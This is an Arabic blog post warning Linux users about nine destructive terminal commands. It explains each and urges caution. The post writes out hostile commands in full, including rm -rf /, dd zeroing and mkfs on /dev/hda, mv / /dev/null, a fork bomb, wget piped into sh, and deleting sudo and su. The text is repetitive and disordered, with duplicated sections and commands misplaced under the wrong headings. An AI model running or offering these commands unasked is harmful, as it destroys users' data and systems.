لينكس يمكن أن يكون سيفا ذا حدين. يجب أن تعرف ما تفعل عند إستخدامه لأنه يمنحك الحرية لأن تفعل ما تريد بدون أن يسألك عند ذلك. هذا أمر مريح عندما تعرف فعلا ما تقوم به عند تشغيله، ولكنه يعني أيضا أنك يمكن أن تجعل النظام الخاص بك غير صالح للاستعمال في غضون ثوان.
عند إستخدام أي نظام لينكس تقريبا لابد من إستعمال أوامر الطرفية لتثبيت بعض البرامج أو إعطاء صلاحية المدير لبعض الملفات و التطبيقات و أشياء أخرى كثيرة، يعني عند إستعمال لينكس من المستحيل تقريبا أنك لم تقوم بتجربة أوامر لينكس.
ولكن إذا كنت مبتدئ لينكس أو حتى محترف و مستعمل قديم لهذا النظام، لا يجب عليك أبدا تشغيل أمر إلا إذا كنت تعرف بالضبط ما تفعله. و لهذا هنا بعض من اسوأ أوامر لينكس (Linux commands) الخطيرة على النظام التي يجب عليك تجنبها وعدم تجربتها على لينكس الخاص بك.
1 > حذف بشكل متكرر
عند إستخدام أي نظام لينكس تقريبا لابد من إستعمال أوامر الطرفية لتثبيت بعض البرامج أو إعطاء صلاحية المدير لبعض الملفات و التطبيقات و أشياء أخرى كثيرة، يعني عند إستعمال لينكس من المستحيل تقريبا أنك لم تقوم بتجربة أوامر لينكس.
ولكن إذا كنت مبتدئ لينكس أو حتى محترف و مستعمل قديم لهذا النظام، لا يجب عليك أبدا تشغيل أمر إلا إذا كنت تعرف بالضبط ما تفعله. و لهذا هنا بعض من اسوأ أوامر لينكس (Linux commands) الخطيرة على النظام التي يجب عليك تجنبها وعدم تجربتها على لينكس الخاص بك.
1 > حذف بشكل متكرر
قدرة لينكس على حذف أي شيء تريده دون سؤالك هو نعمة، خاصة بعد سنوات من التعامل مع أخطاء "لا يمكن حذف هذا الملف" في نظام التشغيل ويندوز. لكن المتصيدون في الإنترنت سوف يكونون قادرين على خداعك بسرعة، وتقديم لك أوامر للحذف الملفات بالغة الخطورة التي يمكن أن تقوم بمسح الأقراص الصلبة بالكامل.
2 > تنسيق القرص الصلب
التنسيق هو مفيد لأقسام القرص ومحركات الأقراص الصلبة الخارجية، ولكن تنفيذه على القرص الصلب بأكمله (مثل /dev/hda) هو أمر خطير ويمكن أن يترك جهازك في حالة غير قابل للاسترداد.
3 > الكتابة فوق القرص الصلب
إذا كان تنسيق القرص الغير المقصود ليس سيئا بما فيه الكفاية، فمن الممكن الكتابة فوق القرص الصلب الخاص بك باستخدام البيانات الأولية. على الأقل تنسيق القرص هو الإجراء الفعلي الذي نستخدمه بشكل الطبيعي, الكتابة بشكل مباشر فوق أحد الأقراص، من ناحية أخرى، هذا ليس شيء كبير جدا.
كما يمكنك أن تتخيل، هذا ما يجعل هذا الأمر عديم الفائدة. ولكن إذا تم تكرار هذه العملية عدة مرة على قرص صلب، فإن المعلومات القديمة يعني البيانات الأولية الموجودة في القرص من المكن أن تصبح من المستحيل إعادة استرجعها.
rm -rf /
هذا الخط ينفذ الأمر RM (إختصار كلمة remove التي تعني إزالة أو حذف) مع اثنين من الأحرف : -r الذي يفرض على نظام أن يقوم بحذف متكرر من خلال كل المجلدات الفرعية و -f الذي يفرض حذف ملفات ذات الصلاحية للقراءة فقط (read-only) دون تأكيد. يتم تنفيذ الأمر على الدليل الجذر، ومحو النظام بأكمله بشكل أساسي.
ملاحظة، في هذه الأيام على معظم أنظمة لينكس إذا حاولت القيام بذلك سوف تحصل على تحذير. لكن هذا التحذير ليس مضمونا، لذلك فقط لا تفعل ذلك.
2 > تنسيق القرص الصلب
الطرفية (Terminal) هي مخادعة و خطيرة خاصة بالنسبة للمبتدئي لينكس لأنها توفر عدة طرق لمسح القرص الصلب عن طريق الخطأ. الحذف المتكرر هو واحد من هذه الطرق لكن هناك أمر أخر هو:
mkfs.ext3 /dev/hda
هذا الأمر هو لعمل فورمات لمحرك القرص الثابت لاستخدام نظام الملفات EXT3. تنسيق القرص ليس عمل خبيث بطبيعته، ولكنه "إعادة ضبط" محرك الأقراص بحيث انها تصبح "مثل أنها جديدة". وبعبارة أخرى، فإن القرص الصلب المنسق هو مثل لائحة بيضاء.
التنسيق هو مفيد لأقسام القرص ومحركات الأقراص الصلبة الخارجية، ولكن تنفيذه على القرص الصلب بأكمله (مثل /dev/hda) هو أمر خطير ويمكن أن يترك جهازك في حالة غير قابل للاسترداد.
3 > الكتابة فوق القرص الصلب
إذا كان تنسيق القرص الغير المقصود ليس سيئا بما فيه الكفاية، فمن الممكن الكتابة فوق القرص الصلب الخاص بك باستخدام البيانات الأولية. على الأقل تنسيق القرص هو الإجراء الفعلي الذي نستخدمه بشكل الطبيعي, الكتابة بشكل مباشر فوق أحد الأقراص، من ناحية أخرى، هذا ليس شيء كبير جدا.
command > /dev/hdaفي الأمر أعلاه، يمكن استبدال command لأي أمر باش. و > هو لتشغيل إعادة توجيه الأمر من على اليسار إلى الملف على اليمين. في هذه الحالة، لا يهم ما هو الأمر الذي على اليسار الذي تم توجيهه . يتم توجيه تلك البيانات الأولية لتستخدم للكتابة على قرص الصلب للنظام.
كما يمكنك أن تتخيل، هذا ما يجعل هذا الأمر عديم الفائدة. ولكن إذا تم تكرار هذه العملية عدة مرة على قرص صلب، فإن المعلومات القديمة يعني البيانات الأولية الموجودة في القرص من المكن أن تصبح من المستحيل إعادة استرجعها.
4 > محو القرص الصلب
إليك طريقة أخرى لتدمير نظامك لينكس. هذه المرة، سيكون الأمر صفر (zero) يعني تماما تصفير القرص الصلب الخاص بك. هذا الأمر ليس لإفساد البيانات أو الكتابة فوقها. بل أنه سيتم ملء حرفيا القرص الصلب بالأصفار. القرص الصلب لن يتم مسحه فقط بل أكثر من ذلك, هذا الأمر يمسح المعلومات من على القرص الصلب نهائيا.
نعم، هناك أسباب مشروعة لتصفير الأقراص الصلبة، ولكن إذا كنت لا تعرف ما هي تلك الأسباب، عليك البقاء بعيدا عن هذا الأمر.
5 > تدمير القرص الصلب
إذا كنت تعبت من سماع عن طرق لتدمير القرص الصلب، تشبث. هنا واحد من أخطر الطرق بالنسبة لك. على لينكس، هناك ملف خاص يسمى /dev/null الذي يقوم بالتخلص من كل البيانات التي يتم كتبتها عليه. يمكنك التخيل بأنها ثقب أسود أو آلة تمزيق الأوراق: سوف تأكل أي شيء يتم تقديمها له كمدخلات إلى الأبد.
6 > تسبب في مشكلة Kernel Panic (ذعر النواة)
ويندوز يحتوي على مشكلة شاشة الموت زرقاء و هي حالة سيئة السمعة. وعلى الرغم من الخرافات التي تطفو حولها، لينكس ليس نظام آمن تماما من مثل هذه المشكلة. أحيانا، يحدث خطأ داخلي في نظام و يكون من المستحيل علاج هذا الخطأ، وبالتالي فإن النظام سوف يستجيب بشيء شبيه بشاشة خطأ الزرقاء الموجودة في ويندوز: Kernel Panic.
7 > Fork bomb (قنبلة الشوكة)
باش (Bash) هي لغة الطرفية على لينكس وهي لغة قوية. وهي ليست فقط لتشغيل الأوامر ولكن يمكن أيضا إستعلها في تشغيل وظائف على النظام، مما يجعل من السهل كتابة برامج النصية التي يمكن آليا أن تقوم بمهام في النظام. لكن للأسف هذه الوظائف لا تأتي دون مجموعة خاصة بها من المخاطر.
وبعبارة أخرى، عندما تقوم بتشغيل هذا الأمر، فإنه سوف يقوم بتشغيل وظيفتين. الوظيفة الأولى سوف تقوم بتشغيل الوظيفة الثانية و الوظيفة الثانية سوف تقوم بتشغيل الأولى، وهذه الدورة سوف تبقي في حلقة لا نهائية. السبيل الوحيد للخروج من ذلك هو إعادة تشغيل النظام.
8 > تنفيذ برنامج النصي عن بعد
هنا أدناه أمر بريء الذي يمكن أن يكون في الواقع مفيد على نظام لينكس. wget هو لتحميل محتويات عنوان URL على شبكة الإنترنت، و الذي يمكن استخدامه الوصول إلى مواقع الويب أو تحميل الملفات. لكن، هناك خدعة بسيطة يكن أن تحاول ذلك إلى خطر:
مواضيع قد تهمك :
dd if=/dev/zero of=/dev/hdaالأمر dd هو لانخفاض مستوى التعليم الذي يتم استخدامه في الغالب لكتابة البيانات على محركات أقراص الفعلية. تحدد المعلمة if مصدر البيانات، وهو في هذه الحالة هو /dev/zero، وخاصة على لينكس ينتج تيار لانهائي من الاصفار. وتحدد المعلمة of وجهة تلك الأصفار، وهو القرص /dev/hda
نعم، هناك أسباب مشروعة لتصفير الأقراص الصلبة، ولكن إذا كنت لا تعرف ما هي تلك الأسباب، عليك البقاء بعيدا عن هذا الأمر.
5 > تدمير القرص الصلب
إذا كنت تعبت من سماع عن طرق لتدمير القرص الصلب، تشبث. هنا واحد من أخطر الطرق بالنسبة لك. على لينكس، هناك ملف خاص يسمى /dev/null الذي يقوم بالتخلص من كل البيانات التي يتم كتبتها عليه. يمكنك التخيل بأنها ثقب أسود أو آلة تمزيق الأوراق: سوف تأكل أي شيء يتم تقديمها له كمدخلات إلى الأبد.
mv / /dev/nullيمكنك إكتشاف الخطر هنا؟ الأمر mv يقوم بتحويل الدليل الجذر النظام إلى الثقب الأسود من /dev/null. وهذا أمر صحيح والنتيجة هي مدمرة: والقرص الصلب يأكل أي شيء يصل إلى هناك حتى لا يبقى أي شيء. بذلك سيتم جعل نظامك غير صالحة للاستعمال.
6 > تسبب في مشكلة Kernel Panic (ذعر النواة)
dd if=/dev/random of=/dev/portشرح الأوامر المذكورة أعلاه ليس شيء مهم هنا. ما هو مهم هو أنه عند تشغيل أي من تلك الخطوط أعلاه سوف يؤدي ذلك إلى الذعر النواة (Kernel Panic)، الذي يجبرك على إعادة تشغيل نظامك. فمن الأفضل أن تبقى بعيدا عن هذه الأوامر إلا إذا كنت متأكدا تماما من أنك تعرف ما تفعل.
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
7 > Fork bomb (قنبلة الشوكة)
باش (Bash) هي لغة الطرفية على لينكس وهي لغة قوية. وهي ليست فقط لتشغيل الأوامر ولكن يمكن أيضا إستعلها في تشغيل وظائف على النظام، مما يجعل من السهل كتابة برامج النصية التي يمكن آليا أن تقوم بمهام في النظام. لكن للأسف هذه الوظائف لا تأتي دون مجموعة خاصة بها من المخاطر.
:(){:|:&};:
هذا الأمر الغامض أعلاه يسمى بـ Fork Bomb، وهو نوع خاص من أوامر Kernel Panic. وهو يقوم بهجوم حجب الخدمة حيث يقوم بعملية تكرر نفسها باستمرار إلى أن يتم استنزاف موارد النظام المتوفرة، مما تسبب إنهيار النظام أوتباطؤ وظائف النظام
وبعبارة أخرى، عندما تقوم بتشغيل هذا الأمر، فإنه سوف يقوم بتشغيل وظيفتين. الوظيفة الأولى سوف تقوم بتشغيل الوظيفة الثانية و الوظيفة الثانية سوف تقوم بتشغيل الأولى، وهذه الدورة سوف تبقي في حلقة لا نهائية. السبيل الوحيد للخروج من ذلك هو إعادة تشغيل النظام.
8 > تنفيذ برنامج النصي عن بعد
هنا أدناه أمر بريء الذي يمكن أن يكون في الواقع مفيد على نظام لينكس. wget هو لتحميل محتويات عنوان URL على شبكة الإنترنت، و الذي يمكن استخدامه الوصول إلى مواقع الويب أو تحميل الملفات. لكن، هناك خدعة بسيطة يكن أن تحاول ذلك إلى خطر:
wget http://an-untrusted-url -O- | sh
التركيبة أعلاه تقوم بتحميل محتويات من عنوان URL معين، و تقوم بتشغيل على الفور الأمر sh، الذي يقوم بتشغيل المحتويات المحملة من العنوان في الطرفية. إذا كان الرابط (URL) يشير إلى برنامج نصي خبيث، إذا فهذا خطير جدا على نظامك لينكس.
9 > تعطيل أوامر الجذر (Root Commands)
هذا الأمر الأخير واضح ومباشر. فإنه يستخدم الأمر rm و هذا الأمر يستخدم عادة لتعطيل اثنتين من أهم الأوامر على لينكس: sudo و su، وهما يسمحنا لك بتشغيل أوامر أخرى مع أذونات الجذر (Root). بدونهم، فإن الحياة على لينكس سوف تكون بائسة.
9 > تعطيل أوامر الجذر (Root Commands)
هذا الأمر الأخير واضح ومباشر. فإنه يستخدم الأمر rm و هذا الأمر يستخدم عادة لتعطيل اثنتين من أهم الأوامر على لينكس: sudo و su، وهما يسمحنا لك بتشغيل أوامر أخرى مع أذونات الجذر (Root). بدونهم، فإن الحياة على لينكس سوف تكون بائسة.
rm -f /usr/bin/sudo;rm -f /bin/suولهذا السبب يجب عدم تشغيل هذا الأمر. لأنه يقوم بحذف كلا الأمرين من النظام من دون أي تأكيد، ويتركك مختنق. هناك طرق لاستعادة ما قمت بحذفه، ولكن هذه الطرق ليست دائما واضحة ولن تكون سهلة.
---------------------------
واخيرا من فضلكم، كونوا حذرين! لا تقومو باللعب بسطر أوامر على لينكس بدون معرفة ما أنتم فاعلون، قبل تشغيل أي أمر في الطرفية قومو بإجراء البحوث حول ذلك الأمر قبل تنفيذ أي شيء. اذا كان شخص ما يقول لك "حاول تجربة هذا الأمر على الطرفية"، كن ذكيا التحقق من هذا الأمر قبل نسخه في الطرفية.
هذا كل شيء حاليا، إن كنت تعرف أحد الأوامر لينكس الخطيرة على النظام شاركها معنى عن طريق المشاركة بتعليق على التدوينة، و شكرا :)
مواضيع قد تهمك :